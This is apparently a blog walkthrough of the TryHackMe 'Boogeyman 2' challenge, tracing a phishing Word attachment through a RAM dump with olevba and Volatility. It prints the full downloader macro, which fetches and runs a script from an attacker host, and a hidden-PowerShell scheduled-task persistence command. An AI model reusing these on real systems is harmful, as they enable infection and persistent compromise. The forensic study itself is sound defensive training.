Phishing-Led Memory Forensics: TryHackMe Boogeyman 2 Walkthrough (Volatility and Olevba)

Tracing a malicious Word macro through a RAM dump: stage 2 script, C2 connection and scheduled-task persistence.

Platform: TryHackMe (Challenge): Boogeyman 2 Tools used: Volatility, Olevba Focus: Memory forensics, malicious document analysis, incident response

The Scenario

After recovering from a previous attack, Quick Logistics LLC strengthened its defenses. The Boogeyman threat group came back with a new phishing campaign and updated tactics. An employee reported a phishing email, and shortly afterwards the workstation started behaving suspiciously.

A memory dump of the system was captured to identify malware execution, persistence and attacker activity.

Alert: Phishing email alert triggered by a suspicious attachment and email headers.

The targeted user is Maxine, who received a phishing email that compromised the workstation.

Investigation Flow

This is the path from the phishing email to the persistence command. (Insert the flow diagram image here.)

1. Alert: A reported phishing email, followed by suspicious behavior on Maxine’s workstation.
2. Email analysis: Identify sender, victim and the attached document.
3. Hash the attachment: Compute the MD5 and check it on VirusTotal.
4. Macro analysis: Run olevba to find the download URL and stage 2 script.
5. Process tree: Use Volatility PsTree to find the process that ran the script.
6. Follow the child process: Identify the process that created the C2 connection.
7. Network connections: Use NetScan for the C2 IP and port.
8. File recovery: Use FileScan and strings to find file paths.
9. Persistence: Search memory for schtasks to find the scheduled task.
10. Report: Answers and MITRE ATT&CK mapping.

Part 1: The Phishing Email

(Screenshot: the phishing email)

The sender. The attacker’s address was westaylor23@outlook.com.

The victim. The email was sent to maxine.beck@quicklogisticsorg.onmicrosoft.com.

The attachment. The email carried a Word document disguised as a job application: Resume_WesleyTaylor.doc. A resume is a classic lure for HR or recruiting-style workflows, and a legacy .doc file can contain macros.

The hash. I saved the attachment and ran md5sum on it:

52c4384a0b9e248b95804352ebec6c5b

I then searched this hash on VirusTotal, which confirmed the file was malicious and showed the URL it contacts.

Part 2: Macro Analysis with Olevba

To see what the document does when opened, I used olevba from the oletools suite:

olevba Resume_WesleyTaylor.doc

The tool found a macro called NewMacros.bas with an AutoOpen subroutine, which runs automatically when the document is opened:

vb

Sub AutoOpen()
  spath = "C:\ProgramData\"
  Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  xHttp.Open "GET", "https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png", False
  xHttp.Send
  With bStrm
    .Type = 1
    .Open
    .write xHttp.responseBody
    .savetofile spath & "\update.js", 2
  End With
  Set shell_object = CreateObject("WScript.Shell")
  shell_object.Exec ("wscript.exe C:\ProgramData\update.js")
End Sub

What it does, step by step:

1. Downloads a file that pretends to be an image (update.png) from the attacker's server.
2. Saves the content to disk as update.js, a JavaScript file.
3. Runs it with wscript.exe, the Windows Script Host.

Naming the remote file .png while saving it as .js is a simple trick to get past filters that look at file extensions in transit.

Olevba also flagged AutoOpen, Microsoft.XMLHTTP, Adodb.Stream, savetofile and WScript.Shell, along with the URL, update.js and wscript.exe as IOCs.

Findings:

• Stage 2 URL: https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png
• Process that executes the stage 2 payload: wscript.exe
• Full path of the stage 2 payload: C:\ProgramData\update.js

Part 3: Memory Analysis with Volatility

Now to the RAM dump, WKSTN-2961.raw. I used Volatility and the process tree plugin:

vol -f WKSTN-2961.raw windows.pstree.PsTree

(Screenshot: PsTree output)

Looking for wscript.exe running update.js:

• PID of the process that executed the stage 2 payload: 4260
• Parent PID: 1124

The process tree is where a memory dump really earns its keep. It shows which process started which, so you can follow the chain from the document to the script to whatever it launched next.

The malicious binary download. The stage 2 script went on to download the malicious binary. The URL in my notes matched the one from the macro:

https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png

The C2 process. After the binary was downloaded, it was launched and established the C2 connection, so it was the next relevant process in the tree:

• PID of the C2 process: 6216

Its path. I searched the raw dump for strings related to the binary:

strings WKSTN-2961.raw | grep "updater.exe"

Finding: C:\Windows\Tasks\updater.exe

Note the location. C:\Windows\Tasks is writable by regular users and rarely monitored, which makes it a favorite spot for malware to hide.

The C2 connection. To see network connections at the time of the capture, I used the NetScan plugin:

vol -f WKSTN-2961.raw windows.netscan.NetScan

Finding: The C2 is at 128.199.95.189:8080.

Get ruthran-sec’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

The attachment path in memory. To see where Outlook had stored the attachment, I used FileScan:

vol -f WKSTN-2961.raw windows.filescan.FileScan | grep "Resume_WesleyTaylor"

Finding:

C:\Users\maxine.beck\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\WQHGZCFI\Resume_WesleyTaylor (002).doc

This is the Outlook temporary cache folder. The “(002)” suffix is added when a file with the same name already exists.

Part 4: Persistence

Right after establishing the C2 callback, the attacker created a scheduled task. I searched the memory dump for the relevant keyword:

strings WKSTN-2961.raw | grep "schtasks"

Full command:

schtasks /Create /F /SC DAILY /ST 09:00 /TN Updater /TR 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))\"'

Breaking it down:

• /SC DAILY /ST 09:00: Runs every day at 9:00 AM.
• /TN Updater: A name chosen to look like routine maintenance.
• powershell -NonI -W hidden: Non-interactive with a hidden window.
• The payload: It reads a Base64 string from a registry value named debug under HKCU:\Software\Microsoft\Windows\CurrentVersion, decodes it and runs it with IEX.

This is a smart persistence design. The scheduled task itself contains no malicious code, only a pointer to the registry, so the real payload lives in a place most file-based scans never look.

Answers at a Glance

Email and document

• Sender: westaylor23@outlook.com
• Victim: maxine.beck@quicklogisticsorg.onmicrosoft.com
• Attachment: Resume_WesleyTaylor.doc
• MD5: 52c4384a0b9e248b95804352ebec6c5b

Macro and stage 2

• Stage 2 URL: https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png
• Executing process: wscript.exe
• Payload path: C:\ProgramData\update.js

Memory analysis

• PID of the process running stage 2: 4260
• Parent PID: 1124
• C2 process PID: 6216
• C2 process path: C:\Windows\Tasks\updater.exe
• C2 address: 128.199.95.189:8080
• Attachment path in memory: the Outlook INetCache folder

Persistence

• Scheduled task “Updater” running hidden PowerShell that decodes a registry value

MITRE ATT&CK Mapping

Reconnaissance

• T1598.002: Phishing for Information: Spearphishing Attachment

Resource Development

• T1588.001: Obtain Capabilities: Malware

Initial Access

• T1566.001: Phishing: Spearphishing Attachment

Execution

• T1204.002: User Execution: Malicious File

Persistence

• T1053.005: Scheduled Task/Job: Scheduled Task

Privilege Escalation

• T1053.005: Scheduled Task/Job: Scheduled Task

Defense Impairment

• T1140: Deobfuscate/Decode Files or Information

Discovery

• T1082: System Information Discovery

Collection

• T1005: Data from Local System

Command and Control

• T1105: Ingress Tool Transfer

Detection and Defense Takeaways

• Disable or restrict Office macros. Block macros in files from the internet and email. This one control would have stopped this attack at the start.
• Alert on Office launching script hosts. WINWORD.EXE or its child processes starting wscript.exe is a high-signal detection.
• Watch for mismatched file types. A .png URL that returns script content, or a script saved from an "image" download, is suspicious.
• Monitor unusual write locations. Executables in C:\Windows\Tasks or C:\ProgramData deserve scrutiny.
• Audit scheduled tasks. Look for tasks that call PowerShell with -W hidden, Base64 or registry reads.
• Check registry run data. Large Base64 blobs in values under HKCU\Software\Microsoft\Windows\CurrentVersion are a red flag.
• Capture memory early. Some of the evidence here (the C2 connection, running processes, commands) exists only in RAM. A quick memory capture can make the difference.

Final Thoughts

Boogeyman 2 is a good reminder of why memory forensics matters. The email and macro told us how the attack began, but the process tree, network connections and strings in RAM showed what really happened on the machine and how the attacker planned to stay. Volatility and a bit of strings and grep went a long way.

Thanks for reading. If you are building DFIR skills, try Boogeyman 2 after the first challenge in the series.

Github report link: https://tinyurl.com/4wufhhpk

Written by RUTHRAN-SEC